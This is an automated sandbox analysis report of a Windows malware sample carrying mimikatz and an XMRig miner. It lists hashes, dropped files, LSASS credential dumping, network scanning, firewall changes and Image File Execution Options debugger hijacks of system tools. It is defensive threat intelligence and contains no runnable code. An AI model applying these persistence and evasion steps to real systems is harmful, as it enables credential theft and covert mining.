mimikatz | a2d3bb9cb6d750dd9d717a2c065ee6911ffa5c2b94b9e8733bdb8f1d22f374af

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
14-08-2024 08:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-08-14_6afeb1b4c5a2b12814db2d7cf4c1fd23_hacktools_icedid_mimikatz.exe
Size

8.4MB
MD5

6afeb1b4c5a2b12814db2d7cf4c1fd23
SHA1

c055b47f7b9962efa96b68cae70da4659342eb43
SHA256

a2d3bb9cb6d750dd9d717a2c065ee6911ffa5c2b94b9e8733bdb8f1d22f374af
SHA512

b1d4981fa58bb2fe37cedd58a97631291221d7b175b0e844a745de50d86cb83e1fb63f97e4449abdd87db0a24139df301ddcbb46f81948fe2145aaf3775f0afb
SSDEEP

196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3004 created 2108	3004	emzriir.exe	38

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (19015) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral2/memory/1940-181-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	xmrig
behavioral2/memory/1940-194-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	xmrig
behavioral2/memory/1940-201-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	xmrig
behavioral2/memory/1940-213-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	xmrig
behavioral2/memory/1940-227-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	xmrig
behavioral2/memory/1940-235-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	xmrig
behavioral2/memory/1940-249-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	xmrig
behavioral2/memory/1940-261-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	xmrig
behavioral2/memory/1940-262-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	xmrig
behavioral2/memory/1940-264-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

resource	yara_rule
behavioral2/memory/4284-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/4284-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x000800000002349b-6.dat	mimikatz
behavioral2/memory/3916-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/1148-138-0x00007FF799210000-0x00007FF7992FE000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	emzriir.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	emzriir.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	emzriir.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2332	netsh.exe
1860	netsh.exe

Executes dropped EXE 29 IoCs

pid	Process
3916	emzriir.exe
3004	emzriir.exe
4892	wpcap.exe
3768	nnbuyeerm.exe
1148	vfshost.exe
1804	xohudmc.exe
4424	zhcbccpzr.exe
448	ascsoo.exe
1940	bnidgq.exe
2436	zhcbccpzr.exe
5108	zhcbccpzr.exe
1440	zhcbccpzr.exe
1920	zhcbccpzr.exe
4148	zhcbccpzr.exe
4736	zhcbccpzr.exe
1572	zhcbccpzr.exe
3696	zhcbccpzr.exe
4956	zhcbccpzr.exe
4452	zhcbccpzr.exe
4076	emzriir.exe
4308	zhcbccpzr.exe
4048	zhcbccpzr.exe
1992	zhcbccpzr.exe
3968	zhcbccpzr.exe
4668	zhcbccpzr.exe
4136	zhcbccpzr.exe
2572	zhcbccpzr.exe
3812	bbqlvcqnq.exe
5632	emzriir.exe

Loads dropped DLL 12 IoCs

pid	Process
4892	wpcap.exe
4892	wpcap.exe
4892	wpcap.exe
4892	wpcap.exe
4892	wpcap.exe
4892	wpcap.exe
4892	wpcap.exe
4892	wpcap.exe
4892	wpcap.exe
3768	nnbuyeerm.exe
3768	nnbuyeerm.exe
3768	nnbuyeerm.exe

UPX packed file 35 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x00070000000234f6-134.dat	upx
behavioral2/memory/1148-135-0x00007FF799210000-0x00007FF7992FE000-memory.dmp	upx
behavioral2/memory/1148-138-0x00007FF799210000-0x00007FF7992FE000-memory.dmp	upx
behavioral2/files/0x0007000000023501-145.dat	upx
behavioral2/memory/4424-146-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp	upx
behavioral2/memory/4424-160-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp	upx
behavioral2/files/0x00070000000234fe-163.dat	upx
behavioral2/memory/1940-165-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	upx
behavioral2/memory/2436-171-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp	upx
behavioral2/memory/5108-175-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp	upx
behavioral2/memory/1440-179-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp	upx
behavioral2/memory/1940-181-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	upx
behavioral2/memory/1920-184-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp	upx
behavioral2/memory/4148-188-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp	upx
behavioral2/memory/4736-192-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp	upx
behavioral2/memory/1940-194-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	upx
behavioral2/memory/1572-198-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp	upx
behavioral2/memory/1940-201-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	upx
behavioral2/memory/3696-203-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp	upx
behavioral2/memory/4956-207-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp	upx
behavioral2/memory/4452-211-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp	upx
behavioral2/memory/1940-213-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	upx
behavioral2/memory/4308-220-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp	upx
behavioral2/memory/4048-224-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp	upx
behavioral2/memory/1940-227-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	upx
behavioral2/memory/1992-229-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp	upx
behavioral2/memory/3968-232-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp	upx
behavioral2/memory/4668-234-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp	upx
behavioral2/memory/1940-235-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	upx
behavioral2/memory/4136-237-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp	upx
behavioral2/memory/2572-239-0x00007FF7068E0000-0x00007FF70693B000-memory.dmp	upx
behavioral2/memory/1940-249-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	upx
behavioral2/memory/1940-261-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	upx
behavioral2/memory/1940-262-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	upx
behavioral2/memory/1940-264-0x00007FF6286F0000-0x00007FF628810000-memory.dmp	upx

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
88	ifconfig.me
89	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2DEAA270F2A3ADDABB8505E3C5BD28E8	emzriir.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\ascsoo.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	emzriir.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	emzriir.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	emzriir.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	emzriir.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	emzriir.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	emzriir.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	emzriir.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2DEAA270F2A3ADDABB8505E3C5BD28E8	emzriir.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\ascsoo.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	emzriir.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	emzriir.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\vimpcsvc.xml	emzriir.exe
File opened for modification	C:\Windows\znrgncrv\vimpcsvc.xml	emzriir.exe
File created	C:\Windows\kgkufnrnc\uhbggiaeb\wpcap.dll	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\trfo-2.dll	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\ucl.dll	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\xdvl-0.dll	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\vimpcsvc.exe	emzriir.exe
File created	C:\Windows\kgkufnrnc\Corporate\mimidrv.sys	emzriir.exe
File created	C:\Windows\kgkufnrnc\upbdrjv\swrpwe.exe	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\exma-1.dll	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\posh-0.dll	emzriir.exe
File opened for modification	C:\Windows\kgkufnrnc\Corporate\log.txt	cmd.exe
File created	C:\Windows\kgkufnrnc\uhbggiaeb\scan.bat	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\vimpcsvc.xml	emzriir.exe
File created	C:\Windows\kgkufnrnc\Corporate\vfshost.exe	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\svschost.exe	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\schoedcl.xml	emzriir.exe
File created	C:\Windows\znrgncrv\spoolsrv.xml	emzriir.exe
File opened for modification	C:\Windows\znrgncrv\svschost.xml	emzriir.exe
File created	C:\Windows\kgkufnrnc\uhbggiaeb\Packet.dll	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\tibe-2.dll	emzriir.exe
File opened for modification	C:\Windows\kgkufnrnc\uhbggiaeb\Packet.dll	emzriir.exe
File created	C:\Windows\znrgncrv\vimpcsvc.xml	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\AppCapture64.dll	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\libeay32.dll	emzriir.exe
File created	C:\Windows\znrgncrv\emzriir.exe	2024-08-14_6afeb1b4c5a2b12814db2d7cf4c1fd23_hacktools_icedid_mimikatz.exe
File opened for modification	C:\Windows\znrgncrv\emzriir.exe	2024-08-14_6afeb1b4c5a2b12814db2d7cf4c1fd23_hacktools_icedid_mimikatz.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\schoedcl.xml	emzriir.exe
File created	C:\Windows\ime\emzriir.exe	emzriir.exe
File created	C:\Windows\kgkufnrnc\uhbggiaeb\ip.txt	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\cnli-1.dll	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\svschost.xml	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\trch-1.dll	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\docmicfg.exe	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\spoolsrv.xml	emzriir.exe
File created	C:\Windows\znrgncrv\schoedcl.xml	emzriir.exe
File opened for modification	C:\Windows\znrgncrv\schoedcl.xml	emzriir.exe
File created	C:\Windows\kgkufnrnc\uhbggiaeb\bbqlvcqnq.exe	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\crli-0.dll	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\docmicfg.xml	emzriir.exe
File created	C:\Windows\znrgncrv\svschost.xml	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\Shellcode.ini	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\tucl-1.dll	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\schoedcl.exe	emzriir.exe
File created	C:\Windows\znrgncrv\docmicfg.xml	emzriir.exe
File opened for modification	C:\Windows\kgkufnrnc\uhbggiaeb\Result.txt	bbqlvcqnq.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\libxml2.dll	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\ssleay32.dll	emzriir.exe
File opened for modification	C:\Windows\znrgncrv\spoolsrv.xml	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\zlib1.dll	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\spoolsrv.xml	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\coli-0.dll	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\spoolsrv.exe	emzriir.exe
File created	C:\Windows\kgkufnrnc\Corporate\mimilib.dll	emzriir.exe
File created	C:\Windows\kgkufnrnc\uhbggiaeb\wpcap.exe	emzriir.exe
File created	C:\Windows\kgkufnrnc\uhbggiaeb\nnbuyeerm.exe	emzriir.exe
File opened for modification	C:\Windows\znrgncrv\docmicfg.xml	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\AppCapture32.dll	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\svschost.xml	emzriir.exe
File created	C:\Windows\kgkufnrnc\UnattendGC\specials\docmicfg.xml	emzriir.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4444	sc.exe
1980	sc.exe
2496	sc.exe
2064	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	emzriir.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
